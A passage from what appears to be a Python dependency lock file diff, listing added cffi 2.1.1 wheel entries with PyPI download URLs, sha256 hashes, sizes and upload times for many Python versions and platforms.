"https://files.pythonhosted.org/packages/f7/a4/4399daaf8f7dfee9d7c3327fdb0426ee041cc63edc358b93911ceb2bfc7a/cffi-2.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632", size = 217807, upload-time = "2026-08-03T21:19:36.286Z" }, + { url = "https://files.pythonhosted.org/packages/28/f7/dabe6da2466ecbd82dc62e7342dc6b1065dad990c06f00f0ede9ebf2a0ed/cffi-2.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd", size = 221252, upload-time = "2026-08-03T21:19:37.416Z" }, + { url = "https://files.pythonhosted.org/packages/ce/87/616202d8e51342c07d2534c510111c4cc37201775ce8f60802c9335d1edd/cffi-2.1.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a", size = 214214, upload-time = "2026-08-03T21:19:38.507Z" }, + { url = "https://files.pythonhosted.org/packages/b4/c6/ab025d75d2c26c19b087c0124e75ee31cb65032f4fe345d356d8c507ab97/cffi-2.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa", size = 219408, upload-time = "2026-08-03T21:19:39.809Z" }, + { url = "https://files.pythonhosted.org/packages/db/e2/7e8109f65445bdc673a7b54f02c677de462db75674220fd1335efc8eb598/cffi-2.1.1-cp311-cp311-win32.whl", hash = "sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3", size = 174470, upload-time = "2026-08-03T21:19:41.246Z" }, + { url = "https://files.pythonhosted.org/packages/73/c0/77ba02423c2f7d7091143c45cd49e0e6575c4c1967394bb542bd923a9b74/cffi-2.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0", size = 185096, upload-time = "2026-08-03T21:19:42.615Z" }, + { url = "https://files.pythonhosted.org/packages/7c/47/9f1f85f9672ceda4984dc6c4f8824e8558992a2972c3d3c81fb8eb28d4ba/cffi-2.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455", size = 179941, upload-time = "2026-08-03T21:19:43.747Z" }, + { url = "https://files.pythonhosted.org/packages/10/69/43965eccfdead3b9220015fd1320e117be8c6ed01a62ffab76eeb752f5d5/cffi-2.1.1-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0", size = 184821, upload-time = "2026-08-03T21:19:44.887Z" }, + { url = "https://files.pythonhosted.org/packages/54/7d/16e5a096677b5e313ca80cd5e5170efa3ea44624a82bb111925522da64b1/cffi-2.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf", size = 184719, upload-time = "2026-08-03T21:19:46.129Z" }, + { url = "https://files.pythonhosted.org/packages/56/e6/8941622732edec876dd17d0453dce07317ae96db34f2ec1436c9d3785986/cffi-2.1.1-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a", size = 214799, upload-time = "2026-08-03T21:19:47.218Z" }, + { url = "https://files.pythonhosted.org/packages/44/de/f98430906df1545ffde0d543dd124a7a439bc2cd32b36b9c53f805df7333/cffi-2.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890", size = 222389, upload-time = "2026-08-03T21:19:48.331Z" }, + { url = "https://files.pythonhosted.org/packages/6a/5b/717f1526b9957b34456313c31645c5b82b8fb5c3fe9e4752999be7128bfc/cffi-2.1.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50", size = 210249, upload-time = "2026-08-03T21:19:49.543Z" }, + { url = "https://files.pythonhosted.org/packages/64/b3/f8aa4f3e34986c7e4ec45072d1b1b9dd295b6b18007b45518d79726dd725/cffi-2.1.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e", size = 208775, upload-time = "2026-08-03T21:19:50.918Z" }, + { url = "https://files.pythonhosted.org/packages/b1/db/dceb9dd5b231e1da801793f8acc9f3c52a7e1afe40bb1aae37e02b0faad5/cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf", size = 221822, upload-time = "2026-08-03T21:19:52.054Z" }, + { url = "https://files.pythonhosted.org/packages/a0/d2/6cd24ae3be000a634109c247d1475d62e5616d0dc78c82770942ec384248/cffi-2.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517", size = 225232, upload-time = "2026-08-03T21:19:53.109Z" }, + { url = "https://files.pythonhosted.org/packages/cb/52/3fa190537004dd7f0ab860a6dc7c0175b8667f68d1e618a46f5498d30250/cffi-2.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735", size = 223597, upload-time = "2026-08-03T21:19:54.515Z" }, + { url = "https://files.pythonhosted.org/packages/80/fb/0bb75b7039588c074b37ae99f40d9bfddf990ecb2fbc346ebccd2e56b9be/cffi-2.1.1-cp312-cp312-win32.whl", hash = "sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e", size = 175292, upload-time = "2026-08-03T21:19:55.566Z" }, + { url = "https://files.pythonhosted.org/packages/d9/79/615cc094e2fb508cade7de88d3b4f6c4ec2bab695c97bce9153dc65aadf5/cffi-2.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a", size = 185919, upload-time = "2026-08-03T21:19:56.89Z" }, + { url = "https://files.pythonhosted.org/packages/70/c6/d0ea84713fe46b243a436a18fcd47d639732747e21635c8a27191b06dc30/cffi-2.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80", size = 180093, upload-time = "2026-08-03T21:19:58.155Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f4/035513d4117049066b4779dc3b7c0c0fdad175fa13731c9f4003f1cd1478/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e", size = 194248, upload-time = "2026-08-03T21:19:59.399Z" }, + { url = "https://files.pythonhosted.org/packages/76/af/2aeb4dbb5fc41a04161ae9ff1518de7cec08e164f44a8ce6a4cf7fd2cd1d/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c", size = 196908, upload-time = "2026-08-03T21:20:00.746Z" }, + { url = "https://files.pythonhosted.org/packages/a7/46/2e5fdde8555706dd98139a910ca11be02809f3f605ce956f655d0214e100/cffi-2.1.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6", size = 184805, upload-time = "2026-08-03T21:20:02.02Z" }, + { url = "https://files.pythonhosted.org/packages/55/41/4c7042f317b9217502988f0873af87e16ad606dc20f84e546e3e6ce9764c/cffi-2.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971", size = 184764, upload-time = "2026-08-03T21:20:03.141Z" }, + { url = "https://files.pythonhosted.org/packages/43/1f/1c3d90d91811c8f86ced9ed637956c54bfe5b79ca98fe976d7f8c8979f6b/cffi-2.1.1-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c", size = 214722, upload-time = "2026-08-03T21:20:04.377Z" }, + { url = "https://files.pythonhosted.org/packages/37/6f/3b5ce4c3b2192d250f04908f2bfd91ef34552ec8f7716a5d4abdb8d67bb2/cffi-2.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125", size = 222369, upload-time = "2026-08-03T21:20:05.544Z" }, + { url = "https://files.pythonhosted.org/packages/02/10/4b3c75dde3d9663c9e02ba05c2668b954f671d4bbe346413ca8c696b295a/cffi-2.1.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264", size = 210175, upload-time = "2026-08-03T21:20:06.75Z" }, + { url = "https://files.pythonhosted.org/packages/df/62/14f74b9543e605d17701dc797b815958b8bb70b7624ce1b832ddad48ed6c/cffi-2.1.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3", size = 208670, upload-time = "2026-08-03T21:20:08.04Z" }, + { url = "https://files.pythonhosted.org/packages/95/95/86342356ff5953b3fb06f7ef7c5bee212d45e770abc7218d451b9148313c/cffi-2.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2", size = 221824, upload-time = "2026-08-03T21:20:09.274Z" }, + { url = "https://files.pythonhosted.org/packages/eb/ff/7b3429ff53aafe931ed8a5fc69f481bbef7ba6de87ddcbb63d08f483f613/cffi-2.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b", size = 225148, upload-time = "2026-08-03T21:20:10.7Z" }, + { url = "https://files.pythonhosted.org/packages/34/34/a95870b9221e09cf4f2ce3178b1a210abdfe63a1bd357da940418d7b8d15/cffi-2.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7", size = 223564, upload-time = "2026-08-03T21:20:12.165Z" }, + { url = "https://files.pythonhosted.org/packages/70/ea/839b50531021a647fb5e929f72cf97bc1ff702b5472166164b5b6e76b851/cffi-2.1.1-cp313-cp313-win32.whl", hash = "sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac", size = 175263, upload-time = "2026-08-03T21:20:13.559Z" }, + { url = "https://files.pythonhosted.org/packages/60/a6/8b149b2c3f2e11aaa1618ef64500b45f50f22c57a977a4dff1aff1f91042/cffi-2.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d", size = 185688, upload-time = "2026-08-03T21:20:14.69Z" }, + { url = "https://files.pythonhosted.org/packages/01/9a/11f687cb39d6a3504060d5242f04f48c735afb4d3d533958a20594890cb2/cffi-2.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973", size = 180078, upload-time = "2026-08-03T21:20:15.917Z" }, + { url = "https://files.pythonhosted.org/packages/d3/7b/d6bbf82b8b96e7391438898c42f5bd96dd02030fd5b64937d248220003e2/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c", size = 194064, upload-time = "2026-08-03T21:20:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/94/e6/bcc91b283be94735e268487a054004f0aa19947b6348fa367db53230abc8/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb", size = 196720, upload-time = "2026-08-03T21:20:18.268Z" }, + { url = "https://files.pythonhosted.org/packages/d9/99/c4b0c17cacdc9c3b8f280026286a9826d6a208c0f047591a3c3ce99b91fd/cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54", size = 184964, upload-time = "2026-08-03T21:20:19.708Z" }, + { url = "https://files.pythonhosted.org/packages/b3/a9/9db617d05d7367c1ad0ab00b3aa6e6f9281edd689b4ee9ea0e5a84e89c97/cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72", size = 184962, upload-time = "2026-08-03T21:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/67/b8/b42132ca113dc567d37684437b46ca1dafc885902b02a110a02d5b511857/cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1", size = 222328, upload-time = "2026-08-03T21:20:22.118Z" }, + { url = "https://files.pythonhosted.org/packages/80/10/c5c0cbf0a657aecf59ef511409734230bf556f05a0d6c9eed7aa5c0a0166/cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062", size = 209985, upload-time = "2026-08-03T21:20:23.401Z" }, + { url = "https://files.pythonhosted.org/packages/d5/6c/bfa0b87b03b9238148beca990292843c9396ba069b54496596594173de7b/cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03", size = 208530, upload-time = "2026-08-03T21:20:24.628Z" }, + { url = "https://files.pythonhosted.org/packages/e9/02/4e7d553a7ac4b4238b38b3c1b80d486e9d4436f8d2acbf87a0997fe3f402/cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96", size = 221525, upload-time = "2026-08-03T21:20:25.758Z" }, + { url = "https://files.pythonhosted.org/packages/82/1d/a4aaf9babd75acb4d5f223bff71533bee748dd770a382619a798960ee9ba/cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527", size = 225053, upload-time = "2026-08-03T21:20:26.985Z" }, + { url = "https://files.pythonhosted.org/packages/81/10/5dc0e7bdd18e22107054288283380fc97a06ae3f1656a106908d666a3c88/cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13", size = 223213, upload-time = "2026-08-03T21:20:28.277Z" }, + { url = "https://files.pythonhosted.org/packages/0b/e9/d0061c364cde06ee43168a0d076ac1da512cbc380d44767b844ba34fe2b6/cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c", size = 177682, upload-time = "2026-08-03T21:20:44.288Z" }, + { url = "https://files.pythonhosted.org/packages/a7/06/1c3e01e3ba14c39f6d10bfbac52753b7e22259e38088e5cfe1d704918690/cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48", size = 187949, upload-time = "2026-08-03T21:20:45.623Z" }, + { url = "https://files.pythonhosted.org/packages/87/5b/da4e39efe18eeb89cf580ea9cfc66b6a7c3eadb808fc0cc1d3a295cb5a5d/cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836", size = 182947, upload-time = "2026-08-03T21:20:46.955Z" }, + { url = "https://files.pythonhosted.org/packages/23/59/40338bf421c5accea1d45158170c87006ef1cd371b05c077e76476949728/cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3", size = 188504, upload-time = "2026-08-03T21:20:29.495Z" }, + { url = "https://files.pythonhosted.org/packages/7d/47/5ecf1023850036e674c77ec4de86182d309ae344e39e7cba984b7df5d647/cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2", size = 188259, upload-time = "2026-08-03T21:20:31.291Z" }, + { url = "https://files.pythonhosted.org/packages/2a/9c/92934c3bea9f785b23eba304538c0b4d37a2a96d2431eb3a1bc87a11aa19/cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94", size = 223864, upload-time = "2026-08-03T21:20:32.571Z" }, + { url = "https://files.pythonhosted.org/packages/4d/45/ba4c93527bc38616a8bd36488acb69a2212d60486794f0c1f318949bbb76/cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc", size = 211538, upload-time = "2026-08-03T21:20:33.808Z" }, + { url = "https://files.pythonhosted.org/packages/80/e9/b6ef565e452acb932fb0cb5443f44a78efbd1233e566f02b5a83855e9115/cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29", size = 210688, upload-time = "2026-08-03T21:20:34.974Z" }, + { url = "https://files.pythonhosted.org/packages/9a/95/eff5f0cee78d2eabc7eebffec40d3fc1876b5f3c95582e018bb4b99601f2/cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676", size = 223803, upload-time = "2026-08-03T21:20:36.564Z" }, + { url = "https://files.pythonhosted.org/packages/fa/01/579d39fb8bef00a335a23d83757b44feb24cd6345a2c451b64cb67b9c362/cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e", size = 226763, upload-time = "2026-08-03T21:20:37.816Z" }, + { url = "https://files.pythonhosted.org/packages/8d/b0/0b44f47c60b01b57b6e2bbd92343f13a85a1d93bc46ccf6e47e244acd99c/cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f", size = 225688, upload-time = "2026-08-03T21:20:38.959Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d2/3b7176cb570a1d3e27faf67b72f591af508036e0d8b2be2ef9af9e8c84bb/cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4", size = 182868, upload-time = "2026-08-03T21:20:40.388Z" }, + { url = "https://files.pythonhosted.org/packages/56/78/31f00c1bcd97c9bbf55f1bfdf5bc809a5de8887473e90bb9960dca825e80/cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e", size = 194104, upload-time = "2026-08-03T21:20:41.725Z" }, + { url = "https://files.pythonhosted.org/packages/7b/1b/58496f2ed0a35de575250c02a43ab3cc2c04d494a88fed31c1cabc0fd176/cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5", size = 186402, upload-time = "2026-08-03T21:20:43.042Z" }, + { url = "https://files.pythonhosted.org/packages/c1/8f/9ebe220eab48a093d1a5a5e339ab0dc7316eef3bb04d63c42f0251b61f50/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d", size = 194043, upload-time = "2026-08-03T21:20:48.179Z" }, + { url = "https://files.pythonhosted.org/packages/ff/69/844bad3ece306c4782c2ecb93597035b6690d48704b803914c199da1e8b3/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b", size = 196737, upload-time = "2026-08-03T21:20:49.457Z" }, + { url = "https://files.pythonhosted.org/packages/1b/8a/af668013284634733f02d683458a0728739c7d6ddb5e14cb0c20832266fe/cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4", size = 184933, upload-time = "2026-08-03T21:20:50.639Z" }, + { url = "https://files.pythonhosted.org/packages/0c/75/2f5207ff6d1a613133b23a5203cc0c2a628313b5eb3974d7956ae3c57950/cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8", size = 185002, upload-time = "2026-08-03T21:20:52.173Z" }, + { url = "https://files.pythonhosted.org/packages/e2/31/9e1313b0a6e30e91b3b3d3fff51ae99c857c07738e3afcce1f7334e1b7ab/cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6", size = 222271, upload-time = "2026-08-03T21:20:53.462Z" }, + { url = "https://files.pythonhosted.org/packages/50/e3/f6234a833e6e08c7007003074723c406559eecf9b48dfc97471e5a8eb7a0/cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80", size = 209919, upload-time = "2026-08-03T21:20:54.783Z" }, + { url = "https://files.pythonhosted.org/packages/0d/fc/5f74e293fced6edb51af3a46c4ccf6c23c9943774ecb375ddbd522c76add/cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779", size = 208529, upload-time = "2026-08-03T21:20:56.066Z" }, + { url = "https://files.pythonhosted.org/packages/44/16/29e6d01b388bef055ecd6ca8244b3f4d336bd09e92d5d892187b9601084e/cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399", size = 221630, upload-time = "2026-08-03T21:20:57.336Z" }, + { url = "https://files.pythonhosted.org/packages/a4/18/fa7f1f6857d5eb88a4ca99ffcbfb7c387a287ccc154c64a73e86314745d7/cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688", size = 225134, upload-time = "2026-08-03T21:20:58.675Z" }, + { url = "https://files.pythonhosted.org/packages/e0/9f/e8e3dfa04a1b4c241f8c91faacad872b4d4efd051d49764ad4e2fd4b9fea/cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7", size = 223197, upload-time = "2026-08-03T21:20:59.968Z" }, + { url = "https://files.pythonhosted.org/packages/f8/7e/8debeb04f1ab9fe2a6963964cd6f1aaf7192627b83926586a6a4e089c9fa/cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac", size = 177683, upload-time = "2026-08-03T21:21:14.901Z" }, + { url = "https://files.pythonhosted.org/packages/e0/31/5158704cc474ab65c1647932e88be78dc0873f47130e253be38bcaf13d01/cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960", size = 187897, upload-time = "2026-08-03T21:21:16.108Z" }, + { url = "https://files.pythonhosted.org/packages/cc/4b/b3a2da8570c704ffc0f9762cdc3ec0f02c8573798e0b5cf7f11c82bbb70f/cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1", size = 182935, upload-time = "2026-08-03T21:21:17.271Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ef/5443574510a1207e6f6bc38ba6e1f1de36cb48fef07b2728bb896a21f430/cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc", size = 188464, upload-time = "2026-08-03T21:21:01.163Z" }, + { url = "https://files.pythonhosted.org/packages/7e/ae/a56fa8c4686ad50e148fcbc8d3ae0d03915ff5c30d795058988c24118cef/cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab", size = 188262, upload-time = "2026-08-03T21:21:02.382Z" }, + { url = "https://files.pythonhosted.org/packages/53/b2/6187f46f2912276a3ae284076109cc5c8680482f11f766ccf26db4a86427/cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e", size = 223779, upload-time = "2026-08-03T21:21:03.553Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f6/c3ad28bd19f77047a03084424fbd4cbe997303267c14423737324be0385d/cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358", size = 211520, upload-time = "2026-08-03T21:21:04.863Z" }, + { url = "https://files.pythonhosted.org/packages/a0/cd/ccac9013a5bd9fd764de118674ab9c805b5ca10c19270d90ee273f8b2240/cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231", size = 210673, upload-time = "2026-08-03T21:21:06.223Z" }, + { url = "https://files.pythonhosted.org/packages/52/86/2976131c639aead931c5bee5aba67e4b09fbeb8018b6f282f70803f923a7/cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6", size = 223835, upload-time = "2026-08-03T21:21:07.539Z" }, + { url = "https://files.pythonhosted.org/packages/ac/0c/33a7aeab2f9c76918c52e084beb39c570db3588133412929e8ec06fab90b/cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94", size = 226705, upload-time = "2026-08-03T21:21:08.774Z" }, + { url = "https://files.pythonhosted.org/packages/e3/26/2cde30fdde421130bfc18f70395731a6e6b2053c6a1978a5258ff04e72fa/cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5", size = 225539, upload-time = "2026-08-03T21:21:09.911Z" }, + { url = "https://files.pythonhosted.org/packages/6d/cd/a361394c94b2129d604bb846f624a8e88255a3ee33129c434a00d715e64f/cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66", size = 182707, upload-time = "2026-08-03T21:21:11.226Z" }, + { url = "https://files.pythonhosted.org/packages/9b/b5/ba2b299993c26577d529b6ae29841f9e15b9fcf004d65f423f4fcf94ade9/cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3", size = 193772, upload-time = "2026-08-03T21:21:12.39Z" }, + { url = "https://files.pythonhosted.org/packages/aa/29/35e016098c814cd93de9cd320c66b5bfba14dc6ecedd3cb518fa7c408c69/cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692", size = 186360, upload-time = "2026-08-03T21:21:13.636Z" }, ] [[package]] 